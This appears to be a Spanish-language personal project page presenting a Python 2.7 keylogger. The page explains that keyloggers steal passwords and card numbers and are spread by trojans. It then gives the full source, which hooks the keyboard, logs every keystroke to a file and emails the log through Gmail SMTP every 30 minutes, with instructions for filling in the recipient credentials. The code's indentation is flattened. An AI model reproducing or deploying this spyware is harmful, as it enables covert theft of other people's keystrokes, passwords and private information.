Keylogger Python

Adrián Arias

Saber Más

Información | 2016


Programa desarrollado en Python 2.7.

Un keylogger (derivado del inglés: key ('tecla') y logger ('registrador'); 'registrador de teclas') es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de internet.

Suele usarse como malware del tipo daemon, permitiendo que otros usuarios tengan acceso a contraseñas importantes, como los números de una tarjeta de crédito, u otro tipo de información privada que se quiera obtener.

El registro de lo que se teclea puede hacerse tanto con medios de hardware como de software. Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse al cable del teclado (lo que los hace inmediatamente disponibles pero visibles si un usuario revisa el teclado) y al teclado mismo (que no se ven pero que se necesita algún conocimiento de como soldarlos para instalarlos en el teclado). Escribir aplicaciones para realizar keylogging es trivial y, como cualquier programa computacional, puede ser distribuido a través de un troyano o como parte de un virus informático o gusano informático. Incluso puede alterar las búsquedas en Google, creando búsquedas inexistentes y otras páginas adicionales. Se suele descargar comprimido para eludir antivirus. Se dice que se puede utilizar un teclado virtual para evitar esto, ya que sólo requiere clics del ratón. Sin embargo, las aplicaciones más nuevas también registran screenshots (capturas de pantalla) al realizarse un clic, que anulan la seguridad de esta medida. La mejor medida de esto es formatear la PC.

Wait_seconds = 1800, en esta línea selecciona cada cuantos segundos quieres que te envíe el correo. SendEmail('tucorreo@mail.com', 'tucontraseña', 'tucorreo@mail.com', esta línea del código corresponde con el correo al que se enviará el archivo con la información y su contraseña.

Código




              import pyHook, pythoncom, sys, logging
              import time, datetime
              wait_seconds = 1800
              timeout = time.time() + wait_seconds
              file_log = 'D:\\dat.txt'

              def TimeOut():
              if time.time() > timeout:
              return True
              else:
              return False

              def SendEmail(user, pwd, recipient, subject, body):
              import smtplib

              gmail_user= user
              gmail_pass = pwd
              FROM = user
              TO = recipient if type(recipient) is list else [recipient]
              SUBJECT = subject
              TEXT = body

              message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
              """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
              try:
              server = smtplib.SMTP("smtp.gmail.com", 587)
              server.ehlo()
              server.starttls()
              server.login(gmail_user, gmail_pass)
              server.sendmail(FROM, TO, message)
              server.close()
              print 'Correo enviado satisfactoriamente!'
              except:
              print 'Error al mandar correo!'

              def FormatAndSendLogEmail():
              with open(file_log, 'r+') as f:
              actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
              data = f.read().replace('\n', '')
              data = 'Log capturado a las: '+ actualdate + '\n' + data
              SendEmail('tucorreo@mail.com', 'tucontraseña', 'tucorreo@mail.com',
              'Nuevo log - '+actualdate, data)
              f.seek(0)

              def OnKeyboardEvent(event):
              logging.basicConfig(filename=file_log, level=logging.DEBUG,
              format = '%(message)s')
              logging.log(10, chr(event.Ascii))
              return True

              hooks_manager = pyHook.HookManager()
              hooks_manager.KeyDown = OnKeyboardEvent
              hooks_manager.HookKeyboard()

              while True:
              if TimeOut():
              FormatAndSendLogEmail()
              timeout = time.time() + wait_seconds

              pythoncom.PumpWaitingMessages()

              #f.truncate()


Imágenes


Descargar


Youtube ©


www.000webhost.com